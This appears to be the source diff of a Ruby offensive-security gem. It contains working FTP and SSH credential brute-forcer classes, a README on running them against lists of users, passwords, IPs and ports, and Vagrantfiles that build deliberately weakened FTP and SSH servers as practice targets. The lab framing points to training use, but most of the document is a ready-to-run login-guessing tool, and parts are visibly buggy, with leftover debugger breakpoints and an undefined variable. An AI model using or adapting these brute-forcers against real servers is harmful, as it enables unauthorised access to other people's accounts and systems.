violent_ruby 1.0.0

Sign up to get free protection for your applications and to get access to all the features.
@@ -0,0 +1,30 @@
1
+ # -*- mode: ruby -*-
2
+ # vi: set ft=ruby :
3
+
4
+ # Vulnerable FTP Server in'a Can ( well, a VM ).
5
+ Vagrant.configure("2") do |config|
6
+ # For a complete reference, please see the online documentation at
7
+ # https://docs.vagrantup.com.
8
+
9
+ config.vm.box = "debian/jessie64"
10
+ config.vm.network "forwarded_port", guest: 21, host:2121
11
+ config.vm.network "private_network", ip: "192.168.33.10"
12
+ config.vm.synced_folder ".", "/vagrant", disabled: true
13
+
14
+ # Enable provisioning with a shell script.
15
+ config.vm.provision "shell", inline: <<-SHELL
16
+ sudo su root
17
+ apt-get update
18
+ apt-get install vsftpd -y
19
+ # for fun
20
+ sed -i -e 's/anonymous_enable=NO/anonymous_enable=YES/g' /etc/vsftpd.conf
21
+ service vsftpd restart
22
+ SHELL
23
+ end
24
+
25
+ # Basic Gist of the Picture
26
+ # vagrant up
27
+ # vagrant ssh
28
+ # ftp localhost
29
+ # user: vagrant
30
+ # password: vagrant
@@ -0,0 +1,143 @@
1
+ require 'net/ftp'
2
+
3
+ module ViolentRuby
4
+ # The Ftp Brute Forcer class provides a simply way to
5
+ # brute-force an FTP server's credentials.
6
+ # @author Kent 'picat' Gruber
7
+ #
8
+ # @example Basic Usage
9
+ # ftp = FtpBruteForcer.new
10
+ # ftp.users = "resources/ftp_users.txt"
11
+ # ftp.passwords = "resources/ftp_passwords.txt"
12
+ # ftp.ips = "resources/ftp_ips.txt"
13
+ # ftp.ports = "resources/ftp_ports.txt"
14
+ # # brue'm!
15
+ # ftp.brute_force!
16
+ # # => results
17
+ #
18
+ class FtpBruteForcer
19
+ attr_accessor :users
20
+ attr_accessor :passwords
21
+ attr_accessor :ips
22
+ attr_accessor :ports
23
+
24
+ # Create a new Ftp Brute Forcer.
25
+ #
26
+ # @param [Hash] args The options to create a new Ftp Brute Forcer.
27
+ # @param args [String] :users The path to a file of users to attempt.
28
+ # @param args [String] :passwords The path to a file of passwords to attempt.
29
+ # @param args [String] :ips The path to a file of server ips to attempt to connect to.
30
+ # @param args [String] :ports The path to a file of service ports to attempt to connect to.
31
+ def initialize(args = {})
32
+ @users = args[:users] if args[:users] && File.readable?(args[:users])
33
+ @passwords = args[:passwords] if args[:passwords] && File.readable?(args[:passwords])
34
+ @ips = args[:ips] if args[:ips] && File.readable?(args[:ips])
35
+ @ports = args[:ports] if args[:ports] && File.readable?(args[:ports])
36
+ @ftp = Net::FTP.new
37
+ end
38
+
39
+ # Brute force some'a dem FTP login credz.
40
+ #
41
+ # @param [Hash] args The options to brute force.
42
+ # @param args [String] :users The path to a file of users to attempt.
43
+ # @param args [String] :passwords The path to a file of passwords to attempt.
44
+ # @param args [String] :ips The path to a file of server ips to attempt to connect to.
45
+ # @param args [String] :ports The path to a file of service ports to attempt to connect to.
46
+ def brute_force(args = {})
47
+ meets_our_requirements?(args)
48
+ results = []
49
+ ips = args[:ips] || @ips
50
+ ports = args[:ports] || @ports
51
+ users = args[:users] || @users
52
+ passwords = args[:passwords] || @passwords
53
+ iterate_over(ips).each do |ip|
54
+ iterate_over(ports).each do |port|
55
+ next unless connectable?(ip: ip, port: port)
56
+ binding.pry
57
+ iterate_over(users).each do |user|
58
+ iterate_over(passwords).each do |password|
59
+ if able_to_login?(ip: ip, port: port, username: user, password: password)
60
+ puts "yup"
61
+ results << format_result("SUCCESS", ip, port, user, password)
62
+ else
63
+ puts "nope"
64
+ results << format_result("FAILURE", ip, port, user, password)
65
+ end
66
+ end
67
+ end
68
+ end
69
+ end
70
+ results
71
+ end
72
+
73
+ def connectable?(args = {})
74
+ @ftp.connect(args[:ip], args[:port])
75
+ return true if @ftp.last_response_code == "220"
76
+ false
77
+ rescue
78
+ false
79
+ end
80
+
81
+ def able_to_login?(args = {})
82
+ #@ftp_login ||= Net::FTP.new
83
+ @ftp.connect(args[:ip], args[:port])
84
+ @ftp.login(args[:username], args[:password])
85
+ if @ftp.welcome == "230 Login successful.\n"
86
+ @ftp.close
87
+ return true
88
+ end
89
+ ftp_login.quit
90
+ false
91
+ rescue
92
+ false
93
+ end
94
+
95
+ alias brute_force! brute_force
96
+
97
+ private
98
+
99
+ def format_result(type, ip, port, user, password)
100
+ { time: Time.now, type: type, ip: ip, port: port, user: user, password: password }
101
+ end
102
+
103
+
104
+ def iterate_over(file)
105
+ File.foreach(file).map(&:strip)
106
+ end
107
+
108
+ def meets_our_requirements?(args = {})
109
+ raise "No ip addresses to connect to." unless ips?(args)
110
+ raise "No ports to connect to." unless ports?(args)
111
+ raise "No passwords to try." unless passwords?(args)
112
+ raise "No users to try." unless users?(args)
113
+ true
114
+ end
115
+
116
+ def ips?(args = {})
117
+ return true if args[:ips]
118
+ return true if @ips
119
+ false
120
+ end
121
+
122
+ def passwords?(args = {})
123
+ return true if args[:passwords]
124
+ return true if @passwords
125
+ false
126
+ end
127
+
128
+ def ports?(args = {})
129
+ return true if args[:ports]
130
+ return true if @ports
131
+ false
132
+ end
133
+
134
+ def users?(args = {})
135
+ return true if args[:users]
136
+ return true if @users
137
+ false
138
+ end
139
+
140
+
141
+
142
+ end
143
+ end
@@ -0,0 +1,131 @@
1
+ # SSH Brute Forcer
2
+
3
+ Using brute-force, you can easily try to force your way into a server over SSH.
4
+
5
+ ## Vagrantfile
6
+
7
+ In this directory, along with the ruby code and the README.md, you'll find a `Vagrantfile` which you can use to setup a VM to test out the SSH Brute Forcer. This requires you to have [vagrant](https://www.vagrantup.com/) installed.
8
+
9
+ #### Start VM
10
+
11
+ ```shell
12
+ $ pwd
13
+ /somewhere/violent_ruby/lib/violent_ruby/ssh_brute_forcer
14
+ $ ls
15
+ README.md Vagrantfile ssh_brute_forcer.rb
16
+ $ vagrant up
17
+ Bringing machine 'default' up with 'virtualbox' provider...
18
+ ==> default: Importing base box 'debian/jessie64'...
19
+ ==> ect...
20
+ ```
21
+
22
+ #### SSH into VM
23
+
24
+ Very simply `vagrant ssh` will allow you to SSH into the VM to make changes or monitor the VM while brute-forcing it for blue team research.
25
+
26
+ ```shell
27
+ $ vagrant ssh
28
+
29
+ The programs included with the Debian GNU/Linux system are free software;
30
+ the exact distribution terms for each program are described in the
31
+ individual files in /usr/share/doc/*/copyright.
32
+
33
+ Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
34
+ permitted by applicable law.
35
+ vagrant@jessie:~$
36
+ ```
37
+
38
+ The VM should be provisioned with ssh, and it should be running with anonymous access turned on. Because that's fun.
39
+
40
+ #### Stop VM
41
+
42
+ If you've logged into the VM via ssh, logout and then use `vagrant destroy` to destroy the VM.
43
+
44
+ ```shell
45
+ $ vagrant destroy
46
+ default: Are you sure you want to destroy the 'default' VM? [y/N] y
47
+ ==> default: Forcing shutdown of VM...
48
+ ==> default: Destroying VM and associated drives...
49
+ ```
50
+
51
+ ## Initialization
52
+
53
+ ```ruby
54
+ require 'violent_ruby'
55
+
56
+ ssh = SSHBruteForcer.new
57
+ ```
58
+
59
+ ## Providing Required Files
60
+
61
+ ```ruby
62
+ require 'violent_ruby'
63
+
64
+ ssh = SSHBruteForcer.new
65
+
66
+ ssh.users = "resources/ssh_users.txt"
67
+ ssh.ports = "resources/ssh_ports.txt"
68
+ ssh.ips = "resources/ssh_ips.txt"
69
+ ssh.passwords = "resources/ssh_passwords.txt"
70
+ ```
71
+
72
+ #### Users
73
+
74
+ A `.users` file should contain a list of ssh usernames to use.
75
+
76
+ ```
77
+ vagrant
78
+ root
79
+ admin
80
+ picat
81
+ ```
82
+
83
+ #### Passwords
84
+
85
+ A `.passwords` file should contain a list of ssh passwords to use.
86
+
87
+ ```
88
+ vagrant
89
+ root
90
+ toor
91
+ picat
92
+ ```
93
+
94
+ #### IPs
95
+
96
+ A `.ips` file should contain a list of ip addresses to attempt connections on.
97
+
98
+ ```
99
+ 192.168.33.9
100
+ 192.168.33.10
101
+ 192.168.33.111
102
+ ```
103
+
104
+ #### Ports
105
+
106
+ A `.ports` file should contain a list of ports to attempt connections on.
107
+
108
+ ```
109
+ 22
110
+ 2222
111
+ ```
112
+ ## Brute Force'n
113
+
114
+ Once everything has been setup, we're going to be able to try start brute forcing!
115
+
116
+ ```ruby
117
+ require 'violent_ruby'
118
+
119
+ ssh = SSHBruteForcer.new
120
+
121
+ ssh.users = "resources/ssh_users.txt"
122
+ ssh.ports = "resources/ssh_ports.txt"
123
+ ssh.ips = "resources/ssh_ips.txt"
124
+ ssh.passwords = "resources/ssh_passwords.txt"
125
+
126
+ # Iterate through results.
127
+ ssh.brute_force do |result|
128
+ result
129
+ # => [{:time=>2017-04-03 19:02:11 -0400, :type=>"SUCCESS", :ip=>"192.168.33.10", :port=>"22", :user=>"vagrant", :password=>"vagrant"},
130
+ end
131
+ ```
@@ -0,0 +1,20 @@
1
+ # -*- mode: ruby -*-
2
+ # vi: set ft=ruby :
3
+
4
+ # Vulnerable SSH Server in'a Can ( well, a VM ).
5
+ Vagrant.configure("2") do |config|
6
+ # For a complete reference, please see the online documentation at
7
+ # https://docs.vagrantup.com.
8
+
9
+ config.vm.box = "debian/jessie64"
10
+ config.vm.network "private_network", ip: "192.168.33.10"
11
+ config.vm.synced_folder ".", "/vagrant", disabled: true
12
+
13
+ # Enable provisioning with a shell script.
14
+ config.vm.provision "shell", inline: <<-SHELL
15
+ sudo su root
16
+ # for fun
17
+ sed -i -e 's/#PasswordAuthentication yes/PasswordAuthentication yes/g' /etc/ssh/sshd_config
18
+ service sshd restart
19
+ SHELL
20
+ end
@@ -0,0 +1,206 @@
1
+ require 'net/ssh'
2
+ require 'socketry'
3
+ require 'timeout'
4
+
5
+ module ViolentRuby
6
+ # The SSH Brute Forcer class provides a simply way to
7
+ # brute-force an SSH server's credentials.
8
+ # @author Kent 'picat' Gruber
9
+ #
10
+ # @example Basic Usage
11
+ # ssh = SSHBruteForcer.new
12
+ # ssh.users = "resources/ssh_users.txt"
13
+ # ssh.passwords = "resources/ssh_passwords.txt"
14
+ # ssh.ips = "resources/ssh_ips.txt"
15
+ # ssh.ports = "resources/ssh_ports.txt"
16
+ # # brue'm!
17
+ # ftp.brute_force!
18
+ # # => results
19
+ #
20
+ class SSHBruteForcer
21
+ # @attr [String] users Path to file containing users.
22
+ attr_accessor :users
23
+ # @attr [String] passwords Path to file containing passwords.
24
+ attr_accessor :passwords
25
+ # @attr [String] ips Path to file containing ip addresses.
26
+ attr_accessor :ips
27
+ # @attr [String] ips Path to file containing ports.
28
+ attr_accessor :ports
29
+
30
+ # Create a new SSH Brute Forcer.
31
+ #
32
+ # @param [Hash] args The options to create a new SSH Brute Forcer.
33
+ # @param args [String] :users The path to a file of users to attempt.
34
+ # @param args [String] :passwords The path to a file of passwords to attempt.
35
+ # @param args [String] :ips The path to a file of server ips to attempt to connect to.
36
+ # @param args [String] :ports The path to a file of service ports to attempt to connect to.
37
+ def initialize(args = {})
38
+ @users = args[:users] if args[:users] && File.readable?(args[:users])
39
+ @passwords = args[:passwords] if args[:passwords] && File.readable?(args[:passwords])
40
+ @ips = args[:ips] if args[:ips] && File.readable?(args[:ips])
41
+ @ports = args[:ports] if args[:ports] && File.readable?(args[:ports])
42
+ end
43
+
44
+ # Brute force some'a dem SSH login credz.
45
+ #
46
+ # @param [Hash] args The options to brute force.
47
+ # @param args [String] :users The path to a file of users to attempt.
48
+ # @param args [String] :passwords The path to a file of passwords to attempt.
49
+ # @param args [String] :ips The path to a file of server ips to attempt to connect to.
50
+ # @param args [String] :ports The path to a file of service ports to attempt to connect to.
51
+ # @return [Array<Hash>]
52
+ def brute_force(args = {})
53
+ meets_our_requirements?(args)
54
+ results = []
55
+ ips = args[:ips] || @ips
56
+ ports = args[:ports] || @ports
57
+ users = args[:users] || @users
58
+ passwords = args[:passwords] || @passwords
59
+ iterate_over(ips).each do |ip|
60
+ iterate_over(ports).each do |port|
61
+ binding.pry
62
+ next unless connectable?(ip: ip, port: port)
63
+ iterate_over(users).each do |user|
64
+ iterate_over(passwords).each do |password|
65
+ if able_to_login?(ip: ip, port: port, username: user, password: password)
66
+ result = format_result("SUCCESS", ip, port, user, password)
67
+ else
68
+ result = format_result("FAILURE", ip, port, user, password)
69
+ end
70
+ results << result
71
+ yield result if block_given?
72
+ end
73
+ end
74
+ end
75
+ end
76
+ results
77
+ end
78
+
79
+ # brute_force! is the same as brute_force
80
+ alias brute_force! brute_force
81
+
82
+ # Check if a given IP address and port can connceted to.
83
+ # @see #brute_force
84
+ # @param [Hash] args the options to brute force.
85
+ # @param args [String] :ip The ip address to attempt to connect to.
86
+ # @param args [String] :port The port to attempt to connect to.
87
+ # @return [Boolean]
88
+ def connectable?(args = {})
89
+ Timeout::timeout(2) do
90
+ Socketry::TCP::Socket.connect(args[:ip], args[:port])
91
+ return true
92
+ end
93
+ rescue
94
+ false
95
+ end
96
+
97
+ # Check if a given IP address, port, username and passwords
98
+ # are correct to login.
99
+ # @see #brute_force
100
+ # @param [Hash] args
101
+ # @param args [String] :ip
102
+ # @param args [String] :port
103
+ # @param args [String] :username
104
+ # @param args [String] :password
105
+ # @return [Boolean]
106
+ def able_to_login?(args = {})
107
+ Net::SSH.start(args[:ip],
108
+ args[:username],
109
+ port: args[:port].to_i,
110
+ password: args[:password],
111
+ auth_methods: ['password'],
112
+ number_of_password_prompts: 0)
113
+ true
114
+ rescue
115
+ false
116
+ end
117
+
118
+ private
119
+
120
+ # @api private
121
+ # Format the results from brute force attempts.
122
+ # @see #brute_force
123
+ # @param [String] type
124
+ # @param [String] ip
125
+ # @param [Integer] port
126
+ # @param [String] user
127
+ # @param [String] password
128
+ # @return [Hash]
129
+ def format_result(type, ip, port, user, password)
130
+ { time: Time.now, type: type, ip: ip, port: port, user: user, password: password }
131
+ end
132
+
133
+ # @api private
134
+ # Iterate over each line in a file, stripping each line as it goes.
135
+ # @see File
136
+ # @param [String] file
137
+ # @return [Enumerator]
138
+ def iterate_over(file)
139
+ File.foreach(file).map(&:strip)
140
+ end
141
+
142
+ # @api private
143
+ # Check if the given arguments contain an ip, port, password and user files.
144
+ # @see #brute_force
145
+ # @param [Hash] args the options to brute force.
146
+ # @param args [String] :ips
147
+ # @param args [String] :ports
148
+ # @param args [String] :passwords
149
+ # @param args [String] :users
150
+ # @return [Boolean]
151
+ def meets_our_requirements?(args = {})
152
+ raise "No ip addresses to connect to." unless ips?(args)
153
+ raise "No ports to connect to." unless ports?(args)
154
+ raise "No passwords to try." unless passwords?(args)
155
+ raise "No users to try." unless users?(args)
156
+ true
157
+ end
158
+
159
+ # @api private
160
+ # Check if the given arguments contains ips, or has been set.
161
+ # @see #meets_our_requirements?
162
+ # @param [Hash] args the options to brute force.
163
+ # @param args [String] :ips
164
+ # @return [Boolean]
165
+ def ips?(args = {})
166
+ return true if args[:ips] || @ips
167
+ false
168
+ end
169
+
170
+ # @api private
171
+ # Check if the given arguments contains passwords, or has been set.
172
+ # @see #meets_our_requirements?
173
+ # @param [Hash] args
174
+ # @param args [String] :passwords
175
+ # @return [Boolean]
176
+ def passwords?(args = {})
177
+ return true if args[:passwords] || @passwords
178
+ false
179
+ end
180
+
181
+ # @api private
182
+ # Check if the given arguments contains ports, or has been set.
183
+ # @see #meets_our_requirements?
184
+ # @param [Hash] args
185
+ # @param args [String] :ports
186
+ # @return [Boolean]
187
+ def ports?(args = {})
188
+ return true if args[:ports] || @ports
189
+ false
190
+ end
191
+
192
+ # @api private
193
+ # Check if the given arguments contains users, or has been set.
194
+ # @see #meets_our_requirements?
195
+ # @param [Hash] args
196
+ # @param args [String] :users
197
+ # @return [Boolean]
198
+ def users?(args = {})
199
+ return true if args[:users] || @users
200
+ false
201
+ end
202
+
203
+
204
+
205
+ end
206
+ end